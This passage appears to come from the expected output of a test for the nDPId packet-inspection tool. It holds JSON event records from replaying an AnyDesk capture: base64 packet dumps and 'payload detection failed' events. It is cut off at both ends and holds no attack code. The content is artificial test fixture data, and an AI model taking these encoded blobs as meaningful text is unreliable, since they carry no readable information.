AWEpYpajMBBYVGvFUuVQCMW\/PJh81qRccrWVJfQqfY7nRrMF5H5yFwitAlCw5WZkcXrTYTzUTo1lWZITEySQMHg+QBZiyConYF8WDvjQgANI5yCFzImcvY3LyGb8SW3jzQA8aBBYSHRlv3gFSB8PAQhd4oyGdLeULstOgWXZ9H9fN2xtOKXefOJDbMuJ6TIAO6U+gJawVjCKfs+fGSZjCD2YOSdlrBNnscD6dYkQryzWsJG+ZBsqNy83\/OcOBHly5A9\/kxbUBuk0SWGnGpG0wYbHNq3qx0Pp9FIbqxNmmXV3cIY9z6F6+HfuxHj58L7iuOu5LiBn8i1wsyH2iz\/3aO8WiJU80gXRESNGLnpJr8wqqIiIhBPH+dRn7R1x3GMXJxgGmdu9nKyFGArDYGKiOB7U1QuBcPvqrMYAULhgKmXLiP1ztGiQx+hYpUKUmR9zTHsjCMoh76FafzEFlKqYqRa8WUvXUmUHieLoHQyPm9ZcoC9rR2s\/EgoTQfL4Ww+7V8nKalriqJ3Pzn1UVSLOXmyp6lFrkVYtefPaLdgdCsVKbNUXmVoU9ujVJTWhE0G\/guvzWl9L5CuCVzeGqSxtPpXUhursv3UlOka5Y53iYBDL\/zpvgE145vqy6Yp4IgJ8VoAT+hotvNcuXi1DcGsHK8gH0FurgUQJIbDhqLkpCzw8XA7ZP4I8hAMTI4U0IA+Fc3J5akvBTCqtrVJi2WX0ATln9NGuChtPgI3HtFLAOlXmJvxS4tWOIhucjbhw4PRTVUcpDsPiqJP+TlOmw2ygnnwy+QCuJHSd+agzdpJE9j8gSV\/yVXWGO9f3IOV+5G4JBAPa2COciWLRUtZ07LJUIWkgw3gwBWPdNr7YpCLmE82pSLmblKCfoN3u4xcgfr+6xS802hmBENWc0Qn\/8cmar8hW4s0EI0HT+NJ1wjajbIuAkVgmHsmCh5VM6UI8UK59TLs\/+8znLPS7b5gyn9X9ql6\/huRPM6yVk51uDfOAT1JDd9GJhFmZmCnaeWnGkRJNcfyaJIshbGRtlb4ZkCQIK54U7dn6m8NafkcIab0NYoroRnD4F7xxCDqjHZcyqMdTJ71ryxfMmRJJlHKSvpIrJOoTV1nybd\/qEV4YnCzZ7Y0Ih0JJquTwPsTKpLYK3tkYL4PcdGGgIn+4oXib\/rBr6mxtfh3\/BilnxupMQ097e9Mf1nHqrngrWByAfg9R+zcqqGB+18MN4OLtFVCIQigxVNN704KaM9E9l2j6zPOrKnepmPQtIw8NCyo1icjWUzJZZ0k0Wk7ddOAya0X13jp3vRl8XuIuXGNizsKn5LsskRZMoAMpgb56Mw3frQdxUzb3\/UMV96XKpXhSI3Tlox3CD9MKPYoNrf8JWWmucjukt20L5gzjUgwXS9AztOYiutQuaFtNdXvFjFoeJcyJoDzZQq3WlnATzsensjZrTKNZepgGTgoiyunYyQvPKxat1xQDt0r6PSFYptMyIJ9JUeKAiRWI4s+KSOXR\/buAg8HG32fWDijWdF+XAbfJuRyYTIFSpAaxK8Bis3XGTPF1+AB1lo6YKihQE6vwLNXXh5+chaNjeoP9VsV39eq5xAEMmyf7UvamoOdPUFFcjbI2EcS1nhU1QxAk8FI+SzfqZuqhywmtx7WSZVX5tlrT9Gu1UCVefLAcRsaPcI7BSrFxKd8f+IR6m+PSKk7Fj1QWhSXL2Xw3Lp1Wi0RtYOYhKUFB4MPNUWo9VmY4t13beMyesPir2cDJ6mKzlaZklomkM9zu7YGt8DD8g9afUtrAkC8Vnxfcf\/SqE7pqs06QAbFlsNDevX\/eRqNtG7NSOzSeQ912VMbJNYrRqv4mYNar6l5oUdACuPVOF0kP0A9GEKRtPy9j\/vdjFyylfPQWMetixAsC3tawwq3nfkFh2syTsLdDKcj5vmdiy5WO0olOfrslRSEJXLoP62kKLo1rGfHDbQ8g8wViAwHr5GKfEU6Rp7EQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":112,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05972{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":116,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":729954,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdqJAAIAGAADAqAG7wKgBstOUG56PGZaBWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUthmrkqVslMd\/1Eq1ttHWwVsVFW+\/yOTKFkRcy9HQSBV1xbaJCBrnEt+jWQS781e9EqaeG66qYqBMin97JXSCxeJ85IMhBKsKoNi0raGrpbfNmqVc8fQmNechLGVy4YMoVs25DfYtB5VrtoVI28clB2ZP1yPtc0rxU0GSa4kPY2xHTahde6FkNb0Qm9ozFlZ\/LB4d9EGPO4Hl10QyeSo40PRxzGxixbNVsGdEIxmGzDmdR1Qxt+EW7y6HxkoiLgvfyk\/8pQQIy8bsnZIKhsyQxaVe3qgNwJj52L\/voCe+BgqfoeqocB8upXZ8Iomez2UHKUj8lPpvWtjoT4QKkvtF8ykRsk27TQR01e4rQz3Qzx4U4Y6wTm\/YoPs51mDvWevY1M2QzuMXqyBdUEEDNRZQaduOj6cW26m6+Ff0VmIxqTW5Bw6Ofk+4y6uXm2NeZ\/XCqdieKsMisasal9SIc6KSF9yYjacjLA1kjcrguj5wXhrBfndcPEuLJBzvTLCf9Qcr8NiF73IFo1NsNUfbO5U7DR1bL2jcP8xJOZS\/6tsrufpZgLqXSgmidMRNt1AYF+prONJTTSJdIEBtZRPi3HxvayYzpZDwb+6QodgBtrT1mT8acCp6El8CAP\/CnMwaFt2In\/kKnwB8O+81aes2KODxTfcpOF3m1j\/COgQpHkEOnfUPNLhZ+dKYXbMGHBPpCMsW5vpjnMEZg5cSKQLiIhl5uita+7Rp5e11MR7KUrTC0mge2+q3e6e6+SmHY98nBurHjhk6orL0zqVj+B+6UnED7KpZ5tdg4ZkL3HBNaMgr\/fkmJ2pf2jQRvGzwqR6CKX+j5zlJ0sukI7x3qhzfIBra5We1HPFizZcTF4v8IVsiNXtisq8YNCr4NP5maCSZDvf42DKgfW6E1eyYCn88ReEVkZj8XkkhUv2uiyA6j8m8gOkpvB37zvEvRKV1\/IIV7KWeyfb6v94ljhDCVtesU+tprZ7bWf2dVc8wISzEShYsoZSsxV6j4jjhm9ucPdVHDxd74tdqIvAmuUAURvSHJgogYM3hpJdwW13IJS5LEMZyQom5Fxv8xYYP7BBRjUBC8g1ofduvnJfhhPwL2fnTbSQou8x6+jU8AzYzg+uM9w3v06bsFGvp\/KOq4WJcjIhpiX5YSAOx5BygmvoLR76ylgo3ahZoXD7mRO90QZcvMHnqIGqHL71Ju4SneqrlxxhMhei+aeq\/ubQR55XYIzfoKuz+N9CFxHWxIStznr67knfO8vbWqOLkVq7ngAmuiMS\/BhsBKXbp6RaBVDNIq9VxyYYUUAhsEUy7IRZ7RG7xWqro7GHMVpt21sTktZJH7bmq+3MFzBJz7pol8H16N06jf4VfQjXihY9WJr1uNQrpWtiR348nxW1HDf6qhsRptR+qbSinMaQAe3ZBZLikz3M2dh1X2N7sA+SdH2cRyiPo1Vm9Ymq\/p4KSXLk53Qq0Yri9\/J2GFBzy4dNr9H8B3bXfiXJxupKaeQWxTFpb\/TH2NDrsnanDQPj4A+\/J0FWqAGKW+cx5FIRBtHNplwmGjWljPlKi6qdVQ0DA3mVBg2ABIgV\/\/L02fjcYWhCsaIrqxawosKA+kbHlG3+1nsjMyYd4PcVWxSm2sCWRc8W33m5Fd8FaKvkgCrs2AEPD19symT8w1yMCKqFkucYWU375RIVc\/7BhHB1SfLzf5xBZpchzFd4RPrFcTKUYbJaMUwlBJzBSifdqzy7TOilSdoSKYbz4lfzu2Qku6Pj3QtiG9uGDiv32Ha2jwb770e2RFrm3ti\/TaA5R2BFHcd18f3fsbPV8J5po99Ww8bULQ3HTdQ+hl3xlSyxD324x2b71dT2o84cTDCxLHJeD1JqN+bWzg5RS\/6w1yCzNZ\/ThAoC5n4ZyD8IomljBneH87As16G19LXnisYV+ZzWlACLCtsqXq4gnba4xvBoAvbeM9lB597JA8kJQgnwbjbKPVz603k2RI6t2oUv\/VI+DhZMLjTkQnzwOUDC\/U+xYxR5EwUeluMyiZgVjoiA7xgyTgGxY5w9R+hIhkblv7d+7YQT8oqeMQvTsyM+l720nWNNuzbXxG5UfjHcqaMDN8APt8R5g8MgUnHaI4zteFhNpzZrfbcYudkhIzcXrT68Pp+V+VOeYzRa02YQ7O7lQYiG+AFwagSQmueyvLVQr4AgLPM4V4\/Wdx6HRfA1PUzWq3u8HAxVG5Y\/oQ760tj9hHyKXqrhEtXvCsxT7tutx0mMCPsCXfSt668xmUASIAIxs+rIKxKpWPNKAwwyyDTIr2FGskUI8azMZReXMxJbS\/UrJst+UArG7kjlmiwR64TsSqcyU\/UKGmHZxsK\/aFOCTeOYNBeXT1UYAttjEJMUSONCkbIlbtFMi6HZQKHcoQPU2NiAJyxXUJ50alhlxdqIg1WA4hDluSAVES+10Jnmi8wn0T9r3oFTJaBKzZ3FlASR2yOkxoH0LPqBMnHygHai6SPVUvSCppWr2LQs1PwWF\/yf1ZtAi4DTQH5fWGTZj72+8+wNTsDwFVJz0AGnQ9tMNrPlAO6Fx+oLgnsNQaEucF0iaTsh2DwuOWsGWAB3FZ87TmV7qd9NyNN86iojo+wRRhe\/OrL+y1uFE42Ui2kqZQNREYt7rJGXGRI0bU3gR1s+36WUNIcsimUuf8NIWTI23ogIS3sITvU6rrrEK2sRb9nMshOKW9VijnSG6NkD5s\/fM\/DVYpGflXp88wqHi8NO0eXPaRv9T0caheyp6qi6VCkqDQgoUnE\/VlyrGasLNG2hEfEzUsR3Mz7vURc1e5PIznh6W1KsuEnfSnlSB3+q9CvYJYz+xcz1IUW8g8GOXgL7gpyQ0FLDdjUBVlsEmEMXzwF\/Am\/62BVy\/CSUk7BefwvpllAxxvrvEoUIGy2sAYQOtOmKHCAfYHQpLFXDJIBRD57Lezo1tDRKprcRAIWg0l5aNZaH86sf3pNlsP3\/\/i4fLMTnubDtukQ4e4dP8i8\/y7ZBkT5kmCxLNj\/ZKKo5cObs53e+mcqOPf5OfLFnDKD8UhNZfxmmz+EppaVyXfqfwZpWqs9QF5EzQMLBUPKN6bSd8TEcf05RjqgHTul2wFEvf+M7VWc9cdE6tY+lWMp10QSkKNdZX+qT3V8fmX9iHg\/tR34Ris9HQHDgszSwOOTwEOXAil+KLFksAUm7gCtDmp8sMxAOJ\/LhQN5fHpof9dhAmpxGj2LZGtgFb24i9TvtYbcI8bk9Uh9Oc4JoZNz6smDx\/ErzBCQICk0hbm2GoQQCmETumbCFyocV7Hx1Xh19V8WyoSReAzl8wfsWQHIdY6MIxE1uLOX5s3esN7aMLE7MyQcye6yJbF77zVlR4RVpuH25KPOodKaGNuJq4\/rfGsL7q9oKWcOMupVKChI\/\/7GZ5Dz+eR7JX\/dMzZlAKhW\/eatgjMCWf5lHxA0LXD3U1VJ0oNgXbUEL6SKRyNizYkevdF86iOHao7kqTM2CF7G+CBirsX4XPMO\/laNm2v79srvUZ17TPWJu0od9oBb8ZAXqmVoyWkspIsEPUqVJ3Wc4aL\/7MCAuE71uxZ\/Lfx3DhXKwnB0em2LopfkjGHwEFNrDBBFLc1cZ2BNl8kUkrqv5AUR0HkQwbfIieOzNFc0X88Hq2KzcUqfQlxkoPnhR2c4on1PtLluupAcTY4DQGQs6to6WP7bJxxLS+1fDxe5y9eFsbY2uYPF84g1RsvmO3aE7jmMPgmIyBmZx5Lw2DJLDkxP5w+B33NM9AJlG\/OygTHohp11SMKbsAme2OwE0TwLsEphnVx0kcr9LR62OCedlDbbQOXYJBkt1iXEJcAU4hf1QIjGbAapHQWnHEFCMeug6tazt2U2A2LZf0wYlPJUSpyi1vL9h2MLeOoyPNVUpPhKabZ8qj6bYCF+7WRR7q4Ydr0aaXPXVoeZfAeu8rAF\/Rv9Zez07RJu3mGe8syXAfol8ki5jBHcBcqgDYhuiDJVWcvbEIG8KOBBw0AL9MMiem2zhJDstGjxA9e+O9m5aRykShiDVH4KE07yuUmZxuvabxoqRteBttH\/d46a0lAhHX2oVHEAA1Jz5R6x20ctmZOBU\/XfE2k987vkp3T0n1ENciwaCVMrQSZaEuHe1BsqEs3SxlAJUhmbwoxEjvU3ov64Du9tWV9hOOm8A1zgFM\/Y1T20zStWGpXcWpO1YNESfp+asbe\/5cEdOw56fulrwXutHgyCx2AolybuVbL5atjXB0iTYjo43d8eqfcdfrNGXmlmA5jBdN\/sKYS\/p2bQUeoJQTIy2n0arZntujOI8AMyPKGYPVsc1YuP411CeTrPsmW8yHD+Pe90at2kzlZnOMzbuUyfqKrp7ozHI1NkC\/henzPXJv1gYEU5CnUpUKNu39Lf3Aac2z+0LI8uG0P4dQ4IZaVKb6RXyQcSpo1s3Xi1spIzQMKKNuF6QG3RWsbPTgP\/tNZStIPZqyGNAlQnMhLYrUEWaApxtcLo+Bk5ZRHjifU1J0C0ijKsvL8JEu9LPQ43GikvaRM4+i+B\/LWHMSoxUGTNWMa+3IkURzU8Jy+XrI0lhQKh2C0GN5Y2sUmwjf4SH7raf+SLjR8lOdvyeQCaXuYMtR95daZhyJH2oWH8K0FHfZ7Fe1vCnUpIXKIRcp\/t8gJc4I+0GQjNI4VFvOhD4fdowitP9phH+h8gM0U1KaN+bXnwQBm3S70jhsCOBY8ZtFHZO6a+ZVr77XiQ3Eb7A7dlQJTP2nPWnKEaNbsrE1TanBeXWR3bCBpSEkXUN5gcXMheVAJRwwA603eaAFyR\/rE03KFS8f1KhOteqiJ9mPDEkTCeBIwhZ51reYD2t2h4VBDu8pt46\/BTBxJSvGPTGZCjfX3frdYNqaEDwyHHZ5a51CTRT\/edHdC\/GK7HhFDkfN3wCvCqlGvyWclsWVKo6VCTyT1z6td2oCPvtZ9jh3OK9NuzRRpQrs4BwQqNECAlIQ+WPl8SU53jZT1e7I+MpP41FRYUNnJzUX9LWE\/EPK+TWrE35kcBnSy1pXZreM+Q78kyypX8eppHrsuHjWwiVxPMX9crPsPo+NjliAa1qM6KRGkVb8Mdsg2LnVLRkaGL4kOoHn9xxbc+8ZPiCaOFt9pQPeuki2Nvn2negSfbTIhidSJuust1o4f66ZhOsRW9TUTUnkB895O0Yr8Jzh9vx+tX9wdoKNJ9a928w8grnQ8+IUcSmJqfeUucy1REql\/uXE100wnlZB+LLJY8I2ZEUsYAklv8mkZxZqozAkX9wCzoo6K8EWlCXrR2KDcKN\/Zd2V19tRBEzMr7zqQnwVENp\/1XwthC5Pjt+DIyp3HN8Nj1kDqPaPm7ZmeYAR83fQk9HRbdyK6G4KtQ2p23QQX7DwRmNtzbfKmLlILtXGRkqojokE872pEIbRTgSom1heXqq\/QcIVf0JtYNAaaI8fnxNq4Le6fAphE5LZ1wvNeEhOu\/r2qJuVHjnkk3qhwAI\/WPWkH0GawSqpePYSd+mrAFJN0NBxEIa83A=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":116,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05979{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":119,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":730309,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdqVAAIAGAADAqAG7wKgBstOUG56PGaaoWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUt4uybcVVemcceIHgqn3OhDld02SHpxKJSHm3ExN+mc3lhTrxGq+9xUNDlBQa\/xcMrGO3u9PsX+i\/tZNRppRuBe0D+YO3Xv0tQHxt3REJG2n23ut1MHF4tGxhh7Cz4zPywsrSM+u20hZqVc\/8LEURUFfLEC1BhldjF0c5vdeqNmYgtiBbENivhlHu6tshztWApheY\/YSXAsFvBBKy+5e2ORdJ6S5Rlgj4dUVJ642tdxZ5M6DKoXOl0k49famYQ4aW\/ZsYmCurgG5sYtR8dyV3aXTqoo98DSiIbsIBG6MSmlnPBp9skF62TBVmKjPv98dx92QRy3\/\/3pzqaT3DJDPf63vijDTPGgqAbuyow6OVfT7BwVuZyVPlHZ29xxksRTZpM+AJNn4gJsq2A9jP+N8A2opnV0npl5SH9aBIWuR4VP8OmK\/Sp3Fa30U5uNH3uLhmguef0AkgvYZkD1XlRliNXpRIyBwKNZw6NzLa1QDs8cNK3y3IAoDCNK4ZsNYiqvCE7mu2HRoZ4L4qhshozcl\/l1o+OoWoDjcG8CyLE\/3kYWO1Fifp\/\/CsrDOmy4MithB6tDYabMdWKuitEoJECzHduvk5iHzBE3Idp0jJsxxRhttQIQQDVX\/B9KZ847y4G8\/JfSJJgKtQj8XaZEE61Mmkwncym3GJFBMZeQGBz7vbsqr2RBKgsKhEkdB0IQLnOmV7L5i4YtKiq5dtUSKOvC\/F4AzSNJ9nDkpnG+NPJuiJrJp5TMhIupTtLJrvkMTxwPKB2Dge7GojmIoHe+O+hbKA9A8NJHbt5uokRtZguMdumKFpFL0PfVSFFsU2wflwhtrirGCLpU6tGPp6TfFzcNPVXlRmpoouUXcXT0TSEjJhMW9Zx4MG1FrjLszNP4\/MKaAZtzorlpabumUCVePKShIzfjrR6Ts0gUjdNSWT\/nrx9xbuFvc6624MfOTz9mC8Wj5hmiDS1S2L+hkO2601JcNXDor0LZhPcglyi5i3mPuhriniLG1eat6JDA5ZqnXT+AgRbK1OuIxNIQTuEUYT2ldjCIjeCV8qGgH1keS+IjZqhTbLrH4HT9O1ne4fVi85JEEOs2\/zBiy48IPLWcfCrkzvAFCwc\/nhpYgkQGyo2LdvGtbkNgJ8x+IHPXqELGWAbRaII2mKscD61UeLpHZxWk6xSWiABME7GRDZdx1OVH6TklZ1raV0S3CbzazjUcn5OedNw7EP2Uyk1Hqax0GnbEVhJRjkWXXupinhr03imcRFzG2Sxsb3+f1cdv8XSr9LMzcGBAiORGRZPv3eTFZN4SHjESFGJ43vIfK\/DaDYCTjQN6B+QH2Aoupjt0TElouujtQPMuE+nC+pqJLbXJNi0Px9EdyyAjY4V+R0c\/\/\/qjgmqexufM2KDrLisN010+e\/nb9Rj5lWrWw8opmFTJrKmqY+tCoreBw+\/o\/lPVJD0cZ1kZw0YTMRYL9mMpLUL1DyWrAclQmoIZgp7W+814GARf2TZtWMrr+qCa6T1nQ9VE8zQ5KcBqjcK6+XP6iNRXCn4DScO6OwDE4QsJIM43Mui8B6jqwv8cETly4k\/flKhsYeOOl24YrzqvXVBCUwamlR3bnvr2nWjZ4xvJ1SUMqczYkJ7WDY5+xizfLWUEoKNiJ20v+o0TWdxPmgQzAmSfReKlT0PspuoxGuRY2E+TaC+u42VXoD0UwCCKIjLcrUA4Io2R7wisQB4if9yJau2F1693VrzQJbzUQJEhhBN5ALScTBc7p+\/zC2vjTy4u1d5ZNJPhb8TgAoPksNkmoJQSXmFH\/pRZDWSFV2BrJVMote7Ndw6moWgd7AILBvsQSsASi6ZUELKlBt4HtPr6VE2gizxsvSz1+WqP0fq0n8pYWiuffo1XeKbtzTdlfynV2oi0DXs4in7lmb4wErUnrPKtoq6L3tuZMyrROg3xA4kJhTKE0NH+OhY\/\/Cj1cbshkw4TnwedUzhwNAqILcnLnNWtz\/2RR70CF2UGP5d3QAML4FpcxVWsZSZl572Qv9E7fq2o6FEiHGjRHLTmOWQ8esAFc21FDOo2PbDzcZOZRNcrCfKRV1BLMS6wqhQWliqpNkkF0irXbVZFOgzYKv\/4eXfGiVZjpLwMkhVkg6ohEtKqjex9IsZVA\/bfXAJzqg\/jVXFPy7DCy7L6t+Vlz\/DAM8RiiqLohbtL3wh7L3lxmWCQGPk6s0XyByKlxbogpR0z0+ynwzz9OMd+n5n6gXPdVO4RKsDWHrbm\/krZi\/dYth50j0W6B1svrvaLeCyLFF6hheu5CwkBjRRyss5riDwdpTuMBnBWFtKHTx9kVLw6q3u8kTehduIbk3bCgIXvfvmdEOHDekd2IPZiu+B0y33SSabBVzBkH4V8SOTrvJHAX1Mbhc4DGD7+PA5TJmcv82\/jh65+WnL9uz6AMqajP+oe2bbZ4oi7uDNp1ajOZxAh64NaPFBKmi+NEoJRSlRD0Rock+6sl8dCle\/9a5rzcYKDaif63bXTVkX9NyXKVgWlVHWTaTy+1NEkeKk83q5LhOFXooNSTUF\/hwD0ggJrjtojyLNkj0DRXnmjd7S0\/22ACq27KsV9tG6o9dMHFv9Y4csuK0k6T4QZZJhXGqA\/eKUG3kDY1w5Ow+0VqOHMbHegQFiBPGdLhqoI7pR9ErDpNAusL1i1VUkqhBWi53Fo\/IrujftOdu5ZKiQ5kuO1n7yUNbUtQ2yggf64IBpFUVnot47Og7sLBtC1yjSl8c7SRHFMwDNwUBBI7qYNWoe9H\/rPYEtNjW5V826UNBzdzGbSlwZdu8G1VQxrRebdID5hkhpPercmT\/F+l01ETz+xkLr7xEFOW0F3zeKNPuabq2ER9UOILtkqtaEbjSjhNinJfFvU\/uuSsN\/s1S7PmbMnhnslMPqCyz5aqe9mRh7uREwYiHe2GYHmcD3OsKMK4OtvdBQSI9H0v2vYlT2hoV4o31dHc6+DaULrK3D8CzpeEPfcjs6PB\/pHEy0b9StJmHKm2QDjTGWXKHyugEOXLCEY\/Dzg0GdQRrc6jObfD9L+OPDMBMtmWTqHsRD75yUSpXPdKwe\/+iLS1bVBJn93wnZbqtEPMK6LE8gYbGfXrVzySE7N5KfYlsfTcMFRlLnG1tNSjwqKsc3RzijqhmoePpiXBkH2Mfy50z4IV8yE0hM19gdA\/UdH8Zp2dtnQ59m4J6XKMOzUZy\/9bQF0Bn0E6m4uuR7wdmchYsGlsKWyus1wE+d3WNkRfv4SE2JVLM5IlVPuClhMMVIM38VsCls8HyGLWeGkHAbxV7vbi0U9FMyyNi1+PZOnlxi98IO5OMXQ9BBrb66alyAkJ5kzdsMcZkjB2PBsSVEoZMAOMj9606zLao8eecztIueKAxC55qeV3tEk1M7iE+uv9oIpd6D5sBu1k6xfqeT8\/FYpfFcmedOtT80TGJP7UYmTrflBtSOrKU4ILWYkasgLPKUq5iFCQ16BwGqIZNAvnzFiKvXXi54bUBA2HXqXTgJSYBLXKdQTcxAHgh7d+druUOVrZZiacuye8BgXapRFytYjtxCuEyoGhDv9d2FjLxPTYT1ymFIQSrzwc5JXPkYcP6aWK5pwtpbx0F\/490gkARvYXkwyvlHRbdgMssNMmwoHfq5rcvSZ8Q1Z7VnyLIyKP6ft7JzPBqH6clh5j08lOWKaKcQmfiWbktD32WB5SPqkX0i+PhzTjy2FbGFgUw7RVqEk0MDB\/F\/tRy88BKCvm887s1jORsTe3InlxFh8TZbnD5fMdz0mtZ\/WOytI5YM1oB0Sa1HDuDrOFydM+XMTRfQPa4DYI9ksFH4\/Yp3f9heXodsUsHTlfBhDL1cSDHTbQbbE+F6ckXVi\/BnleSJolj2RCpDRZ1lH2K9er\/k\/T7WaU6W4aj1gELdXWTDRXpEKZInmsISzSVCwMSPVw0o76Hi61pv9HwkUeJlfSszB0i+LDr10r8Nj2q+WhlGNd7TzqpfU4Ja1lm66GUnUf9HaWGTCpmVrq7Rwb2jv3anAfdlMVPaAdpteESUlC4+x+YB+\/4LKJ5NsZt\/jejlKVT\/+LudiNucApOb826SBUKlzpbb\/\/OvqusP5H\/VZqqsMrmBrEMY48tMo4k7Q7iNG0Pw51AZBP+mhYSiSW4D2VvXrD+E7Hqjdu8MHvbxJsojGTMQ4+jg91vOBycdvrDqjQlLdTuu8BZ6Goo2TIv1R\/PCPdvPAqABIu2jYA4XpupxSj+utle+b9aRLV7G0hj227lBAYvfm+w6n5kxYGyiyC\/7TYWmCGGLlZyQBWIvNKpvypgq8Sm8Zq+fNj2O4Cg3E55NeW5KuwScThUnBlVjLhaP9D6DaSi6D0WNDrWBG\/p7VSpxd8M6v5sHO9+IRK\/515YrAKX1F4+MB8RyqBxptW5AUG9bWJXBeRYbTIjv4f+amSUYO4TzI91j9JPwpl3Rcxm0\/TuvxRD4HM0xk+dfMyK\/A0xT8N0MXLcjm8CNbBKl+r2c5cM9Ymt5XYGbX4XJb48NtyVuDWhcbwhd6jhAmBj4mwKGJggY84P8NpPjUsvt5dYgus3Kr8ufKrGw8y85rOxv7L2dkX4J5AXQbL4uqq0NNVLfbkZ2Ycy65VpzJmf37e70nxGYACn4bn4C4xKpzVrI6tvFVln2drEyCChUU6hiwJ8WNy46jQGPsEKhmhlNQXn9Yg8iKjTRgtNyi7wy4i0ZNXWWoqk7WR\/wl2WKVjKH1qVQSN3JB2F0+Afphyi6+INY1sEi2XnJWkRztkZUC0RovrBjnPAOog676UgLlmD6x\/1mGo9k8I8EU1sNX4k6NX1q0r+FY1lGJTFwswhOhzl5bwtRz0YtLkfNM091aD9hGDWGRSTNYgvaAmFNWLQh9GBBkX2UiO3tWZATvq6Eo3zTtPEisSpyDlOrykFx11hS2a0\/IOM2z6LMM+A6ZvZsIyDVBH6CwJTon83KK\/8kJi8rxtInwzcG1k68NZTDHblK3s9HIDoP+aGVp5zFmD7U1E+53xCcKHU9mIUMukWzAuzbE5bpng51QsVf0JLCWcRZX+Mk6pSXsn\/1Ud5p7LVPPwWrLRdlKxtKZhk+x54VSQ3GKbUeXeE94kvZst3mJYCIqhgN9zKnyIduRgavwxYzS2AA0Jq+EgYe5UVe2pezH+\/2pwELzySQGEjjzkJQKD3Pi8t4IWpAt20dwnFyeRtIWSKI1WiSH5GtPqCxHLG\/sJJud2Rs3RSJqE47GKs66+7rR7tSjqFEUpveyu+OFivJGrxM17+WlyzGFDlkQAPE3s82piCJfT4oW\/wy4Fp3dgCuEEGVD6VnsyD2DYdVQeNW4GV4mAi\/OgYrRWENFDr5fFf6JG9IHkkJwP4Afl\/AL84k+9yDP2VbqJIf7k4P7ZdFwwvUoQRG65mlpB7RS5poH98Inmh+z1oSEJa3uldRAVgwEVka3fN7UuGvYCDzP8NPYMmvUSP66K3xn9CZ1n5GiHb\/iWcDiL2\/44sIWDYRQX1DmUa3YXwKPWeMDjCk1EDa23JHw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":119,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05974{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":122,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":730706,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdqhAAIAGAADAqAG7wKgBstOUG56PGbbPWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUuNTeaC0MYluxy60qCpARAr9\/f7DHeGh2lMUieYFXpYr5g3x3QU9RpOtOPchWW+rI5XXAvDkqT13jH+IcUOdNrxe4L4\/uWz\/+EeegFcdFlR7n5zifEScSvp+rfn+WGKiHAA3Lvl4Js+ZBhslAHEFyIwqwdSc7p0O\/cgC8cKjTRsn68BAqAfA5uL6WP9F+scDylnhkgDt2B8auoI7ol1CNQB4yqw+V5ZjBzxISHFfJE1dUHrTxvGg+IZOsXKvXVJUGWStZ1hkXV+4DsHnnPxOhagAYLNSefwQTR4NXyngUqBJEpItsAjj9OInEds+8Mzh2oGzOw8BrzyFiDpWIlzO3U+QikMlo3Jsjndz12UwgWozPwrphrzZcxoSBxBQZTfjRikAKsOReLCWzNT0A7jTMUynxlTvIyeWh1GlK33AWP2qzUAB4nftgxVsMFRGufAf2v4jdfG9kRjPZ\/mcBuuNhGVwU4qAfvQQGEDAxd153SVJtpUFb8\/yy6T4ffreQZGSw\/a\/ltD6dHSvr4mEQb+I1Zk5pMTVgFFdHmi++oXsOlKCOGviAvoy73CVhy3AS2cQUBf1GNLU3\/ebK29eP\/x1XfJ\/e1fFW2ZtktAQgcEzSQOC2eVYf3P+9Ecn4yxQe+GjRJLl4z18h2\/Q3+D9Dh+JK7h6qC6\/RAMoC7cV7+I8EQoW+1aIwatyT35YWm6XTQUIEPRJpOKy5uPZt9rQrEZN8Hz0NW6ZzWI8n6n8rnoenfy0unDvXIT9HTWkVNCVXXb4Q+bQ0XroWv6frnufdYdH4UWV4n1QYCspBXAcPOJQWoZVR0HX+r+4zY3yl5rSbWMIXiXmQi1FyFym9vV8jFGQYEqr4RmxIPmAauAUG5Imdz8o5n4bp3HqYbhXHWLknSHhamnK4QMFZHZlX3p+hKOULnmm471lhVxnCQtsc0vxbsrZJ2jS4vRhR0U1hPT1JsqI\/TVSKD8V2lDjUHGQ2qFj4Txrkj6UMfme+5XK6ilf+VQ0akOPpoJ9MG+xR6p4NxHyjfQ6358sfbwOWCc9SUYadykLFygtsDzmoyQ8ebWYLPHLskQqg+47XCYFrxsE\/cGfOMA\/zbL8XUFTBKqYiTGS6PSkNB+gaNcvCzeN1ED7iQwOD7cuqLChX9F67KzWVQupukoeMdwqsdIrEzYA4nDvxIIU6GsCo7LLx0d0Lz3nLNKwccXk5AVNikuaA7MvqSQIJPbp0EopRq48iXh4lL49qh9WWBVkg5ndPPEL+jpXfeKv6rL0bDb1kZrKdxxQVeCAKJnIv\/GY8BeZmgFFhxSphX92Ua3agFnTvEfdf+f1UOP2gbwODolnz8j9XJMofTun2NepFJNoxFdVXWFNS1\/JfvUTQ1KyhruKQMTXlD93SAY8f4\/NJPRxWhx0yMm3u3DS6ycPseHV